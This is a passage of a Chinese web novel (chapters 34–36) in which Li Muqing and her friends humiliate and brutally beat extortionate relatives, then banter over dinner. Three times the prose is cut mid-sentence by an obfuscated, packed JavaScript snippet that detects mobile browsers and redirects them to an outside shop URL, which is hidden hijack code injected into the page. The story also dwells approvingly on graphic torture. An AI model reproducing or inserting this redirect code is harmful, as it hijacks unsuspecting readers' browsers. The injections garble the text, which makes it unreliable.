果不其然,张梅花又动了恻隐之心,她犹豫着看向自己的儿子,几乎忍不住开口帮杨芳舒说话。 就听见杨芳舒继续说:“作为一个儿媳妇,不听婆婆的话像什么样子?儿媳妇就是来伺候婆婆的,你看李慕青那样子,像是会全心全意伺候你吗?这样的儿媳妇谁家能看上?给我我都不要,今天你纵容了她,明天她就会蹬鼻子上脸!而且她这么喜欢杨秀迁,要是她实在是不听你的话,大不了你就别让杨秀迁娶她了,你看损失的是谁!” 张梅花犹豫的看了李慕青一眼,原本就耳根子软,一时间还真有些动摇了。 杨秀迁则是气的差点昏过去,兄妹俩都怒其不争的看着自己的母亲,都忍不住想要破口大骂,可是对着自己的亲母亲,他们又说不出什么重话。 张梅花思忖着杨芳舒那些话,还没理出个所以然来,杨秀迁就再也看不下了,上前一步想骂醒自己的母亲。但李慕青拉住了他的手,对他摇了摇头,示意她自己来。 杨秀迁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572073|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然相信李慕青,胸口上下起伏,即使是再生气,也还是退到了李慕青身后。 就见李慕青站在张梅花面前,笑眯眯的和她说:“怎么,觉得杨芳舒说的很对?你是不是还想给她求情啊?” 原本就怯懦的张梅花对上李慕青变得更加犹豫,但李慕青从来不是优柔寡断的人,她笑眯眯的看着张梅花,语气轻快:“好啊,既然你觉得杨芳舒那套歪理对,那我不娶杨秀迁了,这下你满意了?” 张梅花顿时大惊失色,她知道自己儿子的情况,儿子的性格一直孤僻,她为他恋爱的事情揪心了很久,本以为杨秀迁最后可能会独身一人走下去,要么就找一个各方面都不行、甚至是那种离婚带着孩子的女孩的时候,没想到李慕青从天而降,不仅愿意和杨秀迁在一起,而且人也优秀,家境还好。 张梅花一下子就被这从天而降的馅饼砸的晕晕乎乎的,竭尽所能地想把最好的都给李慕青,和李慕青在一起的,也下意识地有点讨好的意外。她们一家都觉得高攀了李慕青,所以想在其他方面把自己能做到的最好的给李慕青,让她不至于会嫌弃她们一家。 刚刚张梅花被杨芳舒劝的晕晕乎乎的,有点分不清东西南北,现在被李慕青一句话打回了现实。 张梅花立刻清醒过来。 她知道李慕青是个果决的性子,一旦决定了什么事情,就再也没有回头的余地了。她再也不理睬杨芳舒,小心翼翼地凑到李慕青身边,焦急的说:“不、不,阿青,我没那个意思,我刚刚被说糊涂了,你也知道我这个人,总是爱犯糊涂,我以后一定改,我肯定不再这样了。阿青,你别往心里去,我心里真没那意思……” 杨芳舒也没想到李慕青这么轻飘飘地就说出了分手两个字。她本以为自己胜券在握,觉得李慕青喜欢杨秀迁,城里养尊处优的大小姐又没什么心机,到时候稍微一恐吓,想要什么不能答应? 但现在经历过了这一系列的事情之后,杨芳舒后知后觉的认识到或许这个李慕青要比她想象中可怕很多。 但是已经走到了这一步,杨芳舒实在是不忍心放弃,要是就这么走了,去哪里找到一个冤大头替她出钱出力解决这一系列事情? 因此其他人都已经萌生退意了,但杨芳舒依然不肯离开,她左右看了看,看到了刚刚被陆靳踹飞在地的郝子毅,眼珠一转,计上心来。 她回头站在还捂着腹部痛苦不已的郝子毅身边,朝李慕青和陆靳冷笑一声:“你们别以为今天这事就这么算完了!你们刚刚踢伤了子毅,必须得赔给我们三千万,否则我就去公安局告你们,让你们做一辈子牢。” 拉上一个郝子毅还不算完,杨芳舒还拉上了跟着来的两个老人,也就是郝子毅的爷爷奶奶、郝洪建的爸爸妈妈,露出一个阴险狡诈的笑:“刚刚你们还误伤了两个老人家,也得赔钱,陪五千万!” 季蝉衣吹了声口哨:“怎么着,大妈,你讹钱讹的也太明目张胆了吧?” 杨芳舒冷笑一声:“我就讹钱怎么着了吧!到时候我们全是证人,看警察相不相信!” “噗,这里都有监控,你还真以为警察同志会信啊?” 杨芳舒得意一笑:“还监控,你们想多了吧,村子里哪有监控?” 此话一出,笑容顿时转移到了季蝉衣脸上,她皮笑肉不笑的“呦”了一声:“没监控还这么拽?周予安,过去给我打死他,反正没监控,把他们全家全泡福尔马林里,就说他们自己失足跌进去的。到时候我们全是证人,警察肯定会信的!” 34. Chapter34. 季蝉衣说的时候一脸认真,杨芳舒的脸顿时扭曲了。 周予安仿佛真的认真思考了一下季蝉衣这个主意的可行性,很快露出一个笑容:“真是个好主意啊。” 杨芳舒大惊失色,一下子松开了抓着老人的手,指着季蝉衣“你你你”了半天也没说出一句完整的话来。 “你什么你呀?还真把自己当根葱了?” 杨芳舒气的脸都扭曲了。 李慕青笑眯眯的接话:“或者是还有个主意,正要这里要翻修了,到时候把你们和在水泥里砌墙,你们对这个死法觉得怎么样?” 杨芳舒一家脸都变白了。 李慕青拍拍手,逗了两句就觉得没意思,脸色也冷了下来:“我确实说句话就能解决你们所以的问题,但我凭什么说这句话?想得到什么,总得付出点什么吧?不如这样,你们学狗叫取悦我,叫到我开心为止,叫一声我就给你们一块钱,叫狗一万声我就给你们一万块,怎么样?” 杨芳舒一听李慕青说的这么侮辱人,顿时目眦欲裂,看样子甚至想冲上去给李慕青点颜色看看,但陆靳只是轻轻“啧”了一声,杨芳舒顿时噤声了,连带着她那一家人全部熄了火。 院子里的那些李慕青的朋友们原本就看不上这群人,见状立刻哄堂大笑起来,空气里蔓延着一股欢快的氛围。 这场闹剧到这里差不多就可以结束了,毕竟杨芳舒已经明明白白的知道自己讨不到任何便宜,再留下去也只是徒增笑料。他们狠狠瞪了在场的人一眼,不痛不痒的拿出塑料袋把刚刚没来得及打包好的饮料小吃打包好,准备装作无事发生般离开。 李慕青见状,笑眯眯的先开了口:“我在市里的KTV包了间房,大家先过去吧,我处理完家事随后就过去。” 大家顿时都心知肚明,知道李慕青这是不打算放过杨芳舒一家的意思了,他们默契的和李慕青笑闹两句,打闹着离开了,经过郝子毅身边时,还有个人狠狠撞了郝子毅一下,不等郝子毅发火,大家嬉笑着离开了。 季蝉衣跟着陆雨婷一起往外走,走到一半,才注意到周予安没跟上来,她回头看向周予安,奇怪的问:“瓜总,你不来吗?” 周予安笑眯眯地说:“哦,我想接杯水再去,你先去车上等我吧。” 季蝉衣有些懵,“哦”了一声,也没多问,跟着陆雨婷离开了。 杨秀迁担心李慕青有危险,不肯离开,李慕青笑眯眯的握住他的手,温声和他说:“别担心,去车上等我吧。” 杨秀迁犹豫了两秒,见李慕青十分坚定,知道她不想看自己插在亲戚和女朋友间左右为难这才让他离开,忍不住叹了口气,小声说:“如果、如果出了什么事情一定要叫我,虽然我可能还没有能力保护你,但起码我可以替你挡刀。” 李慕青顿时笑出了声,她温柔的捏了捏杨秀迁的脸颊,一向果决的人脸上第一次出现这样温情的神色:“放心吧。” 杨秀迁这才恋恋不舍的离开了。 等他和杨欢颜一起离开了之后,张梅花也准备去里屋。 她年纪大了,肯定没办法跟着这些年轻人一起去唱歌,但是她也不想参与到这种场面里来,所以只能逃避。 但李慕青没给她这个机会,她笑眯眯的和张梅花说:“张姨,你留下,我一会儿还有话对你说。” 张梅花有些手足无措的停下来,不知所措的站在一边看着李慕青。 李慕青脸上带着笑,但是眼睛里没有任何笑意:“别紧张,我就是想和你聊聊家常,你先坐吧,我先和我亲爱的‘姑姑’说两句话。” 张梅花虽然不知道李慕青想干什么,但还是听话的坐下了。 除了张梅花之外,院子里就只剩下李慕青、陆靳、周予安和杨芳舒那一家人。 杨芳舒不知道李慕青这个举动是什么意思,但依然如临大敌般敌视李慕青,知道她肯定不会善罢甘休。 李慕青笑眯眯的靠近杨芳舒,语气很亲切:“找死的人我见得多了,像你这么蠢的我倒还真是第一次见。就你这样的,也敢在我面前说自己是我的亲戚,嗯?” 杨芳舒被李慕青的眼神吓住了,不自觉地往后退了两步,连回嘴都忘了。 李慕青也往后退了一步,收起了不达眼底的笑容,眼神变得凌厉:“陆靳哥,刚刚确实对不起雨婷妹妹,让她听见了这么多下三路的话。作为歉意,这伙人你想怎么弄就怎么弄吧,我给你兜底。残了废了都没事,别弄死了就行。” 陆靳“嗯”了一声,没什么表情的往前走了两步,见识过他的残忍,郝龙下意识地开始发抖,再也没有了刚刚趾高气扬的样子。 陆靳提着抖如筛糠的郝龙,像拎一只掐断脖子的鸡,郝龙起初还在嘴硬,叫嚣着“你敢动我一根头发”,声音却早已尖细得走了调,像只被人掐住喉咙的野猫。 陆靳没说话,只淡淡地笑了笑。那笑容比不笑还让人头皮发麻。他从一边的一堆废铁堆里翻出一条细细的铜链,链子已经有些年头了,表面覆着一层灰绿色的铜锈,拿在手里沉甸甸的。他用指腹摩挲过链子的纹路,郝龙被他的动作吓得两腿发软,膝盖“咚”地撞在地上,发出令人牙酸的闷响。 “你、你到底想干什么——”话音还没落,铜链就落在了他的肩膀上。冰凉的触感透过单薄的衣衫渗入皮肤,一路啃噬着他的神经。郝龙浑身的汗毛齐齐炸开,发出一声不像人声的惨叫,连滚带爬地想要躲开,却被一只手不紧不慢地按住后颈,像按一只翻不过身的甲虫,怎么也动弹不得。 “别急。”陆靳语气漠然,“还没开始呢。” 杨芳舒见状大叫一声,既心疼自己的儿子,又不敢上来拉走陆靳,难受的大叫心肝啊宝贝啊,又威胁陆靳,发誓赌咒叫他不得好死。陆靳回头看了杨芳舒一眼,她立刻被那眼神吓得噤了声。 看小院里终于安静下来,陆靳一根一根地掰开郝龙的手指,指关节发出细微的“咔嗒”声,随即是剧烈的刺痛从骨头缝里钻出来,郝龙痛得眼泪鼻涕糊了一脸,嘶声求饶,刚刚的嚣张气焰已经连渣都不剩。他求爷爷告奶奶,说自己上有老下有小,说自己只是一时糊涂,边哭边大叫着“妈”,鼻涕眼泪混在一起滴在满是灰尘的地面上,看起来狼狈不堪。 杨芳舒脸色惨白,眼里含着泪,看样子心疼的下一秒就能翻白眼晕过去。但看着陆靳浑身散发出来的戾气,愣是半步都不敢往前走。 张梅花看着这一切,脸色也隐隐发白,她抓着自己的衣角,死死咬着自己的嘴唇,强忍着不敢发出一点声音。 陆靳那双深不见底的眼睛静静的看着郝龙,映出那郝龙扭曲惊恐的脸。铜链的另一端已经缠上了郝龙的手腕,越收越紧,锈迹蹭在皮肤上留下一道道暗红的印记。 “疼吗?” 郝龙拼命点头,嘴唇哆嗦着说不出完整的句子。 “那就对了。”陆靳的语气比先前更冷了,“这才刚开始呢。” 郝龙的瞳孔猛地缩成了一个针尖,喉咙里发出一声濒死般的呜咽,他第一次只面陆靳的恐惧,意识到真正的折磨还藏在后面那双冷漠的眼睛里。 · 杨芳舒终于受不了尖叫着晕了过去,李慕青嫌烦,叫张梅花把杨芳舒弄走,顺便把浑身是血的郝龙也一起送走。 院子里就只剩下想走却走不了、正浑身发抖的郝子毅。 李慕青转头看向站在一边一直一言不发的周予安,忽然笑了一下:“周总一直站在这里恐怕不止是想看好戏吧?连蝉衣都支开了,难道你也有什么话想对杨芳舒说?” 周予安站直身体,露出一个笑:“李总也太善解人意了,我确实有点话想对杨芳舒说。” 李慕青了然的点了点头:“那我回避一下。” 说着笑眯眯的看向刚送完人回来,呆在一边一直不敢开口的张梅花:“走吧,正好咱们趁现在有空去里屋聊聊天。” 陆靳刚刚就出去了,还没回来。等李慕青和张梅花也走了之后,周予安缓步来到郝子毅身边,他居高临下的盯着郝子毅,脸上没有任何表情。 就是这个模样,让郝子毅从心底里觉得瘆得慌,他想抬高语调大声质问周予安准备干嘛,以此来掩盖自己内心的恐惧,但还没来得及张嘴,周予安就抬起脚踩上他的手,用力碾了碾。 钻心的疼痛从手心传到四肢百骸,郝子毅的惨叫声不绝于耳,整张脸扭曲变形,痛苦的眼珠暴突出来。而他手心的地方很快有血渍出现。 周予安的脸色很吓人,这是他面对季蝉衣的时候,绝对不会出现的表情。 直到郝子毅疼的快要晕过去,周予安才收回了脚,嫌弃似的有碾了碾土地。 他慢条斯理地用一张素白的手帕擦拭着指尖,动作轻柔,可那没有任何情绪眸子里却透着毒蛇吐信般的寒意。他一步步逼近,让面前那个平日里作威作福的恶霸步步后退,直到脊背狠狠撞上冰冷的墙壁,退无可退。 郝子毅的嚣张气焰全部平息了,像个被抽了骨头的软脚虾,双腿打颤,冷汗瞬间浸透了衣背。抖抖索索的开口:“你、你别乱来!这里都有监控,要是你敢对我做什么……” “嘘——”周予安竖起一根手指抵在唇边,嘴角勾起一抹令人毛骨悚然的弧度,“我最讨厌烦人的东西了。” 话音未落,他指尖骤然发力,用巧劲精准地碾过郝子毅最脆弱的地方。郝子毅瞬间瞪大了眼,喉咙里发出破风箱般的“嗬嗬”声,那股钻心的剧痛像无数根细针顺着血管往脑子里扎,让他连惨叫都发不出来,只能像条离水的鱼一样剧烈抽搐。 周予安凑到他耳边,如同情人呢喃般低语,语气里带着病态的愉悦:“你该感谢我今天心情好,要不然我真不知道你还能不能活着离开这里。” 他随手扔下郝子毅,像扔掉一块抹布。 发泄完了,周予安的心情这才好了很多。 他想着季蝉衣刚刚离开时的模样,脸上的表情由阴转晴,随口哼了句歌,一抬头,看见了站在阴影处的陆靳。 陆靳看了一眼半死不活的郝子毅,朝周予安走了过去,路过郝子毅的时候,一脚踹向了郝子毅的肚子。 郝子毅尖叫一声,浑身抽搐起来,最后奄奄一息的躺在了地上。 周予安“啧”了一声,脸上的阴冷褪去,又露出那种惯常的不太正经的笑容,语气闲适,和刚刚那个近乎疯子的人大相径庭:“陆总,好巧啊。在这里见到你真是太让我意外了。” 虽然嘴上说着意外,但看表情一点也不像是意外的样子。 陆靳“嗯”了下,淡声道:“没想到周总还有这样一面。” 周予安笑眯眯地说:“我倒是一直都知道陆总还有这样一面。” 陆靳挑了挑眉,不置可否。 周予安笑容真了点:“得了,这时候都别假惺惺的了,反正咱们该看见的不该看见的都互相见过了,要不现在就一起喝一杯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574789|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没空。” “我们都一起经历了这么多了——上次的绑架加上这次,你还是不肯和我们做好朋友,敞开心聊聊天吗?” “没兴趣。” “好吧,果然是个无聊的人。” “……我能听见。” “嗯,那我就放心了。” “……” 陆靳沉默两秒,不知道想到了什么,看着周予安的表情难得有了点起伏,意有所指的说:“你和季蝉衣确实应该在一起,没有比你们两个更适合对方的了。” 周予安忍不住笑了:“骂我的时候还不忘顺带把季蝉衣也骂了是吧,你这嘴挺毒的啊。不过我喜欢这样的话,以后可以多说,谢了。” 陆靳嗤的一声笑了。 周予安咳嗽两声,移开话题:“行了,该处理的事情差不多也都处理完了,其他人还在外面等着呢,咱们走吧。” “嗯。” 陆靳叫了一声屋里的李慕青,正好李慕青已经和张梅花聊完天了,于是就答应着站起身。 面前的张梅花脸色依然很白,李慕青转身走了两步,走到门口又停了下来,她转过身,站在逆光的阴影里,半张脸隐匿在黑暗里,看不透眼底的情绪:“张姨,即便您是我的长辈,但有些丑话我也不得不提前挑明。我这一辈最不喜欢的就是拎不清的人,家里现在的主事人是我,以后也只会是我,我不管你之前是怎样的为人处世方式,但以后再在大事犯糊涂,就别怪我也容不下你。今天和你聊天很开心,希望下次怎么开心的时候,是在我和秀迁的婚礼上。我先走了,您照顾好身体,我会定时打钱寄东西给您的,有什么需要,直接和我打电话也是一样的。” 李慕青说完就打开了门,转身离开了。 · 几个人去了KTV,酣畅淋漓的唱了三四个小时,散场之后,李慕青请客去酒店里吃饭,说是给大家赔礼道歉,让大家看见了这样一出闹剧,她实在是有些不好意思。 大家自然都笑嘻嘻的说没事儿,有这样的八卦谁不想亲眼看见?所以大家不仅不觉得有什么不舒服的,甚至还想再多看两场。 季蝉衣看着脸庞微微发红的杨秀迁一脸崇拜的看着李慕青,而李慕青落落大方的和身边人说话,把头摇了再摇,靠在周予安身边说:“啧啧啧,看秀迁哥现在多幸福,和慕青姐在一起之后,秀迁哥一家再也不用受那些奇葩亲戚摆布了。老实了一辈子的家庭终于迎来了话事人,真是可喜可贺,快哉快哉啊。” 说着说着,季蝉衣想起了什么,问道:“对了,刚刚你留在后面真的是去接水了吗?” “当然是真的,我什么时候骗过你?我从来都不会骗你的。” 季蝉衣狐疑的上下打量周予安:“那你接的水呢?” “……”周予安挠了挠鼻尖,面不改色的说,“哦,我看那茶壶里全是水垢,你知道的,有些人就是不太讲究这些,觉得水垢也没什么。但我是个比较讲究的人,不喜欢喝那样的水。” “翻译成普通话就是,你还是没接?” 周予安的表情仍然很一本正经:“这是我个人生活的一种方式,我们有轻微洁癖的人是这样的。” 季蝉衣眯起眼睛:“瓜总,你有没有注意到一件事?” “什么?” “一般你说谎的时候,脸上的笑容就会显得特别虚假,而且你还会下意识地挠鼻尖。” “……” “‘从来都不会骗我的’,嗯?” 周予安咳了一声,忽然抬头看天,同时用手摸了摸额头:“……怎么回事,怎么忽然有点热?我不会发烧了吧?” 季蝉衣把周予安的脑袋掰正,笑容非常和蔼:“行了,别装了。咱们都认识快半年了。你是什么样子我还不了解?” 周予安见季蝉衣已经看穿,索性也就不装了,往后一仰,笑眯眯地说:“好吧,还是被你发现了,我就知道我瞒不过你。” “说说吧,留在家里到底干嘛去了?” “其实也没什么,就是我看陆靳和李慕青都面色不善,怕到时候起冲突他们人少吃亏,就留下看看能不能帮忙了。怕你有危险,也怕陆雨婷多心,所以才没让你留下。” 季蝉衣盯着他半晌,也不知道是信了还是没信,就在周予安被看的觉得自己的灵魂仿佛都在季蝉衣面前暴露无遗时,季蝉衣终于开了口:“我相信你。” 周予安定定的看着季蝉衣,季蝉衣已经移开了视线,她的声音很轻,但周予安还是听见了:“如果你有什么事情,一定不要瞒着我。你知道如果这个世界上只有一个人不会反对你做任何事情的话,那那个人就是我。我不在意你做任何事情,只要你平安。” 周予安心里涌上一种说不清道不明的感觉,他还没有反应过来的时候,就听见自己神差鬼使般问出了口:“……如果我要做的事情会被大家诟病、会被人唾骂呢。” “我不在乎,瓜总,这个世界上所有的人、所有的事加在一起都不如你。” “……那如果,我也是个阴暗的人,心怀鬼胎,和你平常看到的模样很有大区别呢,你还会这么觉得吗?” 季蝉衣转过头,静静的看着周予安,语气认真:“哪怕你现在和我说其实你是隐藏在人类中的外星人,我也会毫不犹豫地站在你这边。” 两个人静静的对视片刻,周予安先移开了视线,他弯了弯唇角,笑道:“……那就好。” 那就好。 35. Chpater35. 吃过晚饭之后,天色也不早了,大家在酒店外面分别。 周予安的公司就在酒店附近,两个人决定步行过去开车,这一路正好消消食、聊聊天。 季蝉衣给简离打了个电话,把今天在杨秀迁家里发生的事情简单和简离说了说,两个人八卦了一会儿,又一起唾弃了一下杨芳舒那一帮极品,然后季蝉衣才心满意足的问简离现在下没下班。 简离最近忙的跟狗一样,十二点下班是常有的事情,见季蝉衣这么问,顿时长叹一口气,双目空空的回:“没呢,等我忙完手上这份策划案,还有一个小时就差不多了。” 季蝉衣算了算时间,现在走到周予安的公司再开车过去,时间应该差不多能正好赶上,于是和简离说:“那晚上要不要我去接你啊?刚刚和你说的八卦是简略版的,等晚上我接你的时候再详细和你说说,有很多细节我刚刚都没来得及说呢。” 简离跟季蝉衣自然不会客气:“好啊!来的时候再带瓶冰可乐和烧烤!看来今晚又到了我们一周一度的八卦时刻。” 挂断电话之后,季蝉衣一转头,就看见了周予安正一脸幽怨的看着她。周予安的表情颇有种被抛弃的小狗一样的可怜,季蝉衣乐了:“这什么表情?晚上吃饭没吃饱啊还是没吃到自己想吃的啊?” 周予安幽幽的说:“据我对你的了解,一般你和简离聊八卦的时候是不喜欢其他人在场的,尤其是男人。所以一会儿你是不是要抛弃独守寒窑十八分钟的周宝钏去投入简离的怀抱了?” 季蝉衣故作高深摸了摸下巴,发觉自己的下巴并没有刀削般的手感之后,略显失望的放下了手:“这叫什么话,我和简离是有正事要谈的,但我和简离只是为了生活,你才是我的心之所向。乖啊,咱不做那种多疑的人,咱不吃简离的醋。” 周予安叹了口气:“我知道,你不是渣,你只是想给每个男孩女孩各一个家。” 季蝉衣忍住笑,配合周予安演下去:“是的,我不是渣,我的心碎成了很多片,每片都装着一个他。” 过完深沉女主的戏份之后,季蝉衣就正色道:“好了,我今晚送完简离就回来,你在家等着我吧,顺便给我切点水果,把我的可乐也冻上,我回去喝。” “好。烧烤应该不用给你再准备两串了吧,毕竟外面的烧烤就是比家里的好吃,你吃饱了外面的烧烤,估计就不想吃家里的了。” “?”季蝉衣,“家里的不也是从外面买的吗,只是咱们稍微动手烤了一下而已。” 周予安面不改色:“那不一样,咱们自己动手烤是给烧烤升华了。” “怎么的,不是自己烤的就是生化烧烤是吗?” “唉……现在都开始质问我了,果然有了新人就抛弃了新人啊。” “?这又是你从哪里学的新招数……果然恐怖如斯。” 配上周予安那张无可挑剔的脸,杀伤力简直是呈几何倍的增长啊。 周予安朝他眯了眯眼睛,露出一个餍足的笑:“从小说里学的,前几天看见了一本小说,虽然内容枯燥无味,但是男主有些反应还是挺有意思的。” 季蝉衣摸着自己扑通扑通跳个不停的小心脏,“啧”了一声:“还敢看小说,不怕再穿一次,来个穿中穿啊?” “应该不会这么倒霉吧?不过你可以看看那本书,叫什么腹黑甜心的小公主什么什么在劫难逃。” 季蝉衣倒是没有什么想看这本书的欲望,不过她由书名中的“小公主”三个字联想到了迪斯尼公主,接着联想到了最近和迪斯尼公主联名的一个游乐园,于是对周予安说:“你知道隔壁昌宜市的那个游乐园和迪斯尼公主联名了吗?要不咱们趁你有空的时候去玩一下?” 周予安点了点头,随口说:“行啊,昌宜还是我老家呢,我很熟悉,到时候我可以带着你在昌宜玩一玩。” 季蝉衣觉得这话好像有哪里怪怪的,但是一时间也想不出来到底哪里怪,也就没继续想,顺势说道:“好啊,到时候咱们就去玩过山车,那一部分园区是以小美人鱼公主为主题的,肯定很好看。” 说到公主,季蝉衣说:“对了,你看过各种公主的童话故事吗?” “看过一点吧,不太清楚。我觉得还好吧,我对这些不太感兴趣。” “哎呀,别这么说嘛。既然说到公主,我还记得之前给我留下最深印象的一个童话叫莴苣公主。反正现在现在也无聊,那让我们发动自己的脑袋瓜想一下,把这个故事扩充扩充,假如你是莴苣公主的话,那我就是那个的年来到高塔下的年轻小伙子。” “唔,我对这个故事有点印象。你来的时候,我还会放出头发接你上高塔是吧?” “嗯不错不错,看来你已经上道了。没错,等你放出头发,我就会顺着你的头发上去,然后咱俩第一次见面你就会爱上我。” “嗯……这一段倒是……” “什么?” “没什么。继续吧。” “哦,然后咱们就会相爱,然后咱们就会联手对付管着你的巫婆,最后幸福的生活在了一起。” “很普通但很难真正实现的结局。” “别这么悲观嘛,反正只是想象啊,你想怎么想象都可以。比如我可以想象你的长头发其实是由金子做成的,减下来一段很快又会长长,这样我就可以每天帮你打理头发,光是替你修剪头发和捡你掉的碎发就可以卖很多钱。” “这样吗?嗯……那我就想象管住我的那座小塔下面其实有个通往不为人知的岛屿的通道,没有任何人能找到那个小岛,我们可以一直在上面幸福的生活,不用为任何事情烦心。” “嗯!是个不错的选择,简直是宅人的福音。既然这样,那我也可以大胆的想象,两个人在一起之后,过了一段平静安稳的日子,但是忽然有一天,从森林深处来了一个巫婆,这个巫婆和绑架你的那个巫婆是好闺蜜,她看不惯咱们幸福的生活,所以专门过来给咱们添堵。这次依旧是由我出马,咱们两个联手打败了那个巫婆,然后迎着落日,我披着红色斗篷拿着长剑,剑上还有和巫婆对抗留下的痕迹,我转头认真的看向你,问出了那个我一直想问的问题……” 就在周予安以为她要说什么深奥的东西时,就听见季蝉衣停顿了一下,然后撩了一下头发,认真的继续说:“老公帅不帅?” 周予安:“……” 周予安挣扎了两秒,放弃了尊严,依然选择了捧场:“好的,莴苣公主一定会回答,‘老公你帅的惨绝人寰’。” 季蝉衣立刻接受了周予安的回答,并且觉得无比满意:“于是从此以后,公主和王子就幸福的生活在了一起。嗯哼,真是个皆大欢喜的结局。” 季蝉衣说着,随手将手机放进口袋里,抽出手的时候,却摸到了一个尖尖的东西,她随手掏出来一看,原来是刚刚从张梅花家出来在车上等周予安他们的时候,因为无聊随手用纸折了一张郁金香。 她把郁金香举到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576919|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周予安面前,笑眯眯地说:“哦对,差点把这个忘了,这个是我刚刚随手折的,送给你了。” 周予安定定的看了一眼那个郁金香,表情逐渐变得凝固。他像是没反应过来似的,隔了一会儿才动作僵硬的接过去。 他拿着那个郁金香,好像连指尖都不知道该怎么蜷缩合适。季蝉衣已经移开了视线,所以没看到周予安微微颤抖的手指和仿佛被定格的表情。 周予安紧紧捏着那个郁金香,但也不敢太用力,生怕把纸捏皱了。 过了好一会儿,等季蝉衣都走出一段距离了,他才反应过来,小心翼翼地把郁金香放进口袋里,珍视的隔着布料碰了碰郁金香,跟上了季蝉衣的脚步。 两个人边聊天边步行去了周予安的公司,在周予安公司门外分别了。 季蝉衣开了一辆周予安停在公司里的车去接简离,周予安开了另外一辆回家。 两个人兵分两路,各自驶向自己的目的地。 到简离楼下的时候,季蝉衣停下车,正好给简离发消息,简离的电话就打了过来:“到哪了?” “到你公司楼下了,你呢,结束了吗?” “嘿,你来的真巧,我刚结束,现在正往公司外面走呢……别急,我看见你了,我在这儿!” 季蝉衣也看见了她,亮了下车灯示意自己看见了。 简离风尘仆仆的走向季蝉衣,拉开副驾笑眯眯的对她说:“先出来,今晚还有一场硬仗要打。” “?” 简离简短的解释:“李听澜他妈妈非得让李听澜来接我——估计是姚以寒最近又做了什么过火的事情惹怒了李听澜他妈,所以他妈想借我杀杀姚以寒的锐气。你觉得姚以寒知道了能善罢甘休?肯定为了和李听澜妈妈对着干来我这里挑事儿。正好今天你来了,就当看个乐子了。刚刚你和我说了一个八卦,现在还你一个,不一定有你的抓马,但是一定也是个乐子。” 说完她就绕道另外一边,一把把还在蒙圈中的季蝉衣从驾驶位上拉了下来。 季蝉衣总算反应过来了,脸上的表情有些一言难尽:“这一家人也挺奇葩的,感觉和杨秀迁的亲戚奇葩程度不相上下。李听澜他妈这不是在涮你吗?” “是啊,她可能确实有几分喜欢我,但现在更多的感情还是想要利用我对付姚以寒。” “那你就甘心这样一直被利用?” 简离扑哧一声笑出来,语气淡淡:“当然不会啦,她利用我,我当然也得拿点报酬回来。李家的项目只要能接的,我几乎全都利用和李听澜的关系接了。他妈想不到我和李听澜在一起是为了什么,还以为我对他是真爱呢,也舍得把那些优质项目全部分一杯羹给我。” 她的语气闲适,眼中笑意稍退:“她都这么信任我了,我当然不会让她失望啊。既然她喜欢看我恶心姚以寒,那我也不是不能遂她的心愿,毕竟有这个保护壳在外面,更方便我拿到李家的资源了。” 季蝉衣重重松了口气,知道简离已经和书中那个恋爱脑已经完全不同了,这才彻彻底底的放心了:“行,既然你打算好了就行。至于今天晚上——你就放心吧,就算是姚以寒本人亲自来了我也不会心慈手软的。” 季蝉衣本来只是随口一说,没想到自己言出法随,姚以寒本人确实来了——她甚至还是直接坐在李听澜的副驾上来的,李听澜的车子在两人面前停下,车窗缓缓降下来,最先露出来的,是姚以寒那不着痕迹带着挑衅笑容的脸。 36. Chapter36. 简离见状了然的朝季蝉衣耸了耸肩,意思是,看吧,我说什么来着? 季蝉衣“啧”了一声,摇了摇头,同样一脸的一言难尽。 不过车上不止姚以寒和李听澜,等车子停稳,后排的车窗也缓缓降下来之后,另外两张脸露了出来。 这两张脸很像,一个男生一个女生,看起来和姚以寒年纪相仿,季蝉衣都没见过。 简离轻轻咳了一声,附在季蝉衣耳边耳语:“后座这个女生是姚以寒的闺蜜徐嫣然,徐嫣然旁边坐着的是她那不学无术的弟弟徐蒙。” 季蝉衣了然,好家伙,这是兄弟姐妹齐上阵啊。 上阵闺蜜兵,领教了。 等徐嫣然和姚以寒的视线挑衅的快冒出火来了,李听澜才不紧不慢的转头看向了简离。 他不可能不知道把姚以寒带过来意味着什么,但他还是带过来了,一是说明简离在他心里的地位远远比不上姚以寒,所以哪怕李听澜知道简离会膈应但依然选择了这么做,二是,他对母亲这么操控自己人生的做法也十分不满,此举看似是不顾简离的脸面,但实际上也是在借机反抗他母亲。 或许还有一点连他自己都没有注意到的念头,那就是想看看简离面对这一切的反应。 但简离没什么反应。还是季蝉衣捅了捅她,简离还反应过来自己现在拿到的剧本是虐心剧本,亲眼看见男朋友的副驾上坐着他的前女友,她这什么反应的反应太OOC了。 